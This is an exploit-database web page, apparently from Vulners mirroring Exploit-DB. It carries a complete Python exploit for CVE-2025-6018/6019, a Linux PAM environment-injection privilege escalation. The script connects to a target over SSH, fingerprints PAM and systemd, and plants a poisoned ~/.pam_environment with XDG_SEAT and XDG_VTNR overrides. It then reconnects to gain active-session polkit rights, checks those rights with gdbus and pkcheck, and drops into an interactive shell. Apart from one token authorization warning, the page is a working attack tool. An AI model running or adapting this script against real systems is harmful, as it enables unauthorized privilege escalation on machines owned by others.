Lucene search
K

Linux PAM Environment - Variable Injection Local Privilege Escalation

🗓️ 28 Jul 2025 00:00:00Reported by İbrahimsqlType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 236 Views

Linux PAM module allows variable injection, leading to privilege escalation via SystemD sessions

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Incorrect Authorization in Suse Pam-Config
2 Mar 202606:34
githubexploit
GithubExploit
HTB-Pterodactyl-Writeup
24 Apr 202602:25
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Suse Pam-Config
9 Feb 202613:44
githubexploit
GithubExploit
Exploit for CVE-2025-6018
30 Jul 202522:03
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Suse Pam-Config
14 Feb 202618:00
githubexploit
GithubExploit
Exploit for CVE-2025-6019
10 Feb 202609:29
githubexploit
GithubExploit
Exploit for CVE-2025-6019
3 Sep 202511:52
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Suse Pam-Config
11 Feb 202600:51
githubexploit
GithubExploit
Exploit for CVE-2025-6019
20 Jun 202510:47
githubexploit
GithubExploit
Exploit for Incorrect Authorization in Suse Pam-Config
12 Feb 202620:40
githubexploit
Rows per page
# Exploit Title: Linux PAM Environment - Variable Injection Local Privilege Escalation
# Exploit Author: @İbrahimsql
# Exploit Author's github: https://github.com/ibrahmsql
# Description: PAM pam_env.so module allows environment variable injection via ~/.pam_environment
#              leading to privilege escalation through SystemD session manipulation
# CVE: CVE-2025-6018, CVE-2025-6019
# Vendor Homepage: https://github.com/linux-pam/linux-pam
# Software Link: https://github.com/linux-pam/linux-pam/releases
# Version: PAM 1.3.0 - 1.6.0 (vulnerable versions)
# Category: Local Privilege Escalation
# Requirements: paramiko>=2.12.0
# Usage: python3 cve_2025_6018_professional.py -i target_ip -u username -p password
# References: 
#   - https://access.redhat.com/security/cve/CVE-2025-6018
#   - https://bugzilla.redhat.com/show_bug.cgi?id=2372693
#   - https://bugzilla.suse.com/show_bug.cgi?id=1243226

import paramiko
import time
import sys
import socket
import argparse
import logging
from datetime import datetime

# Setup logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S',
    handlers=[
        logging.FileHandler('cve_2025_6018_exploit.log'),
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

class CVEExploit:
    def __init__(self):
        self.vulnerable_versions = [
            "pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", 
            "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0"
        ]
        
    def check_vulnerability(self, client):
        """Enhanced vulnerability detection"""
        logger.info("Starting vulnerability assessment")
        
        checks = {
            "pam_version": "rpm -q pam || dpkg -l | grep libpam",
            "pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null",
            "pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null",
            "systemd_version": "systemctl --version | head -1"
        }

        vulnerable = False
        
        for check_name, command in checks.items():
            logger.info(f"Executing check: {check_name}")
            try:
                stdin, stdout, stderr = client.exec_command(command, timeout=10)
                output = stdout.read().decode().strip()
                
                if check_name == "pam_version":
                    for vuln_ver in self.vulnerable_versions:
                        if vuln_ver in output:
                            logger.info(f"Vulnerable PAM version detected: {vuln_ver}")
                            vulnerable = True
                            break
                            
                elif check_name == "pam_env" and output:
                    logger.info("pam_env.so configuration found")
                    vulnerable = True
                    
                elif check_name == "pam_systemd" and output:
                    logger.info("pam_systemd.so found - escalation vector available")
                    
                if output and check_name != "pam_version":
                    logger.debug(f"Command output: {output[:100]}...")
                    
            except Exception as e:
                logger.warning(f"Check {check_name} failed: {e}")
            
            time.sleep(0.5)

        return vulnerable

    def create_malicious_environment(self, client):
        """Create enhanced .pam_environment file"""
        logger.info("Creating malicious environment file")
        
        payload = '''# CVE-2025-6018 Environment Poisoning
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
SYSTEMD_LOG_LEVEL OVERRIDE=debug'''

        try:
            logger.info("Writing .pam_environment file")
            cmd = f"cat > ~/.pam_environment << 'EOF'\n{payload}\nEOF"
            stdin, stdout, stderr = client.exec_command(cmd)
            
            # Verify creation
            stdin, stdout, stderr = client.exec_command("cat ~/.pam_environment")
            output = stdout.read().decode()
            
            if "OVERRIDE" in output:
                logger.info("Malicious environment file created successfully")
                return True
            else:
                logger.error("Failed to create environment file")
                return False
                
        except Exception as e:
            logger.error(f"Environment poisoning failed: {e}")
            return False

    def test_privilege_escalation(self, client):
        """Test privilege escalation vectors"""
        logger.info("Testing privilege escalation vectors")
        
        tests = [
            ("SystemD Reboot", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot", "yes"),
            ("SystemD Shutdown", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanPowerOff", "yes"),
            ("PolicyKit Check", "pkcheck --action-id org.freedesktop.policykit.exec --process $$ 2>/dev/null || echo 'denied'", "authorized")
        ]
        
        escalated = False
        
        for test_name, command, success_indicator in tests:
            logger.info(f"Testing: {test_name}")
            try:
                stdin, stdout, stderr = client.exec_command(command, timeout=10)
                output = stdout.read().decode().strip()
                
                if success_indicator in output.lower():
                    logger.info(f"PRIVILEGE ESCALATION DETECTED: {test_name}")
                    escalated = True
                else:
                    logger.info(f"No escalation detected: {test_name}")
                    
            except Exception as e:
                logger.warning(f"Test {test_name} failed: {e}")
        
        return escalated

    def interactive_shell(self, client):
        """Professional interactive shell"""
        logger.info("Starting interactive shell session")

        shell = client.invoke_shell()
        shell.send("export PS1='exploit$ '\n")
        time.sleep(1)
        
        # Clear buffer
        while shell.recv_ready():
            shell.recv(1024)

        print("\n--- Interactive Shell ---")
        print("Commands: 'exit' to quit, 'status' for privilege check")
        
        while True:
            try:
                command = input("exploit$ ")
                
                if command.lower() == 'exit':
                    break
                elif command.lower() == 'status':
                    stdin, stdout, stderr = client.exec_command("id && groups")
                    print(stdout.read().decode())
                    continue

                shell.send(command + "\n")
                time.sleep(0.5)
                
                while shell.recv_ready():
                    output = shell.recv(1024).decode('utf-8', errors='ignore')
                    print(output, end='')
                    
            except KeyboardInterrupt:
                logger.warning("Use 'exit' to quit properly")
            except Exception as e:
                logger.error(f"Shell error: {e}")
                break

    def run_exploit(self, hostname, username, password=None, key_filename=None, port=22):
        """Main exploit execution"""
        logger.info(f"Starting CVE-2025-6018 exploit against {hostname}:{port}")
        
        try:
            # Initial connection
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            logger.info(f"Connecting to {hostname}:{port} as {username}")
            client.connect(hostname, port=port, username=username, 
                           password=password, key_filename=key_filename, timeout=10)
            logger.info("SSH connection established")

            # Check vulnerability
            if not self.check_vulnerability(client):
                logger.error("Target does not appear vulnerable to CVE-2025-6018/6019")
                return False

            logger.info("Target appears vulnerable, proceeding with exploitation")

            # Create malicious environment
            if not self.create_malicious_environment(client):
                logger.error("Failed to create malicious environment")
                return False

            logger.info("Reconnecting to trigger PAM environment loading")
            client.close()
            time.sleep(2)

            # Reconnect to trigger PAM
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(hostname, port=port, username=username, 
                           password=password, key_filename=key_filename)
            logger.info("Reconnection successful")

            # Test privilege escalation
            if self.test_privilege_escalation(client):
                logger.info("EXPLOITATION SUCCESSFUL - Privilege escalation confirmed")
                self.interactive_shell(client)
            else:
                logger.warning("No clear privilege escalation detected")
                logger.info("Manual verification may be required")

            return True

        except paramiko.AuthenticationException:
            logger.error("Authentication failed - check credentials")
        except paramiko.SSHException as e:
            logger.error(f"SSH error: {e}")
        except socket.error as e:
            logger.error(f"Network error: {e}")
        except Exception as e:
            logger.error(f"Unexpected error: {e}")
        finally:
            try:
                client.close()
            except:
                pass
            logger.info("Connection closed")

        return False

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-6018/6019 PAM Environment Injection Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 %(prog)s -i 192.168.1.100 -u testuser -p password123
  python3 %(prog)s -i target.com -u admin -k ~/.ssh/id_rsa
        """
    )

    parser.add_argument("-i", "--hostname", required=True, help="Target hostname or IP")
    parser.add_argument("-u", "--username", required=True, help="SSH username")
    parser.add_argument("-p", "--password", help="SSH password")
    parser.add_argument("-k", "--key", dest="key_filename", help="SSH private key file")
    parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")

    args = parser.parse_args()

    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)

    if not args.password and not args.key_filename:
        parser.error("Provide either password (-p) or private key (-k)")

    # Security warning
    logger.warning("Use only with proper authorization!")
    
    exploit = CVEExploit()
    success = exploit.run_exploit(
        hostname=args.hostname,
        username=args.username,
        password=args.password,
        key_filename=args.key_filename,
        port=args.port
    )
    
    sys.exit(0 if success else 1)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2025 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 3.17.8
EPSS0.0009
SSVC
236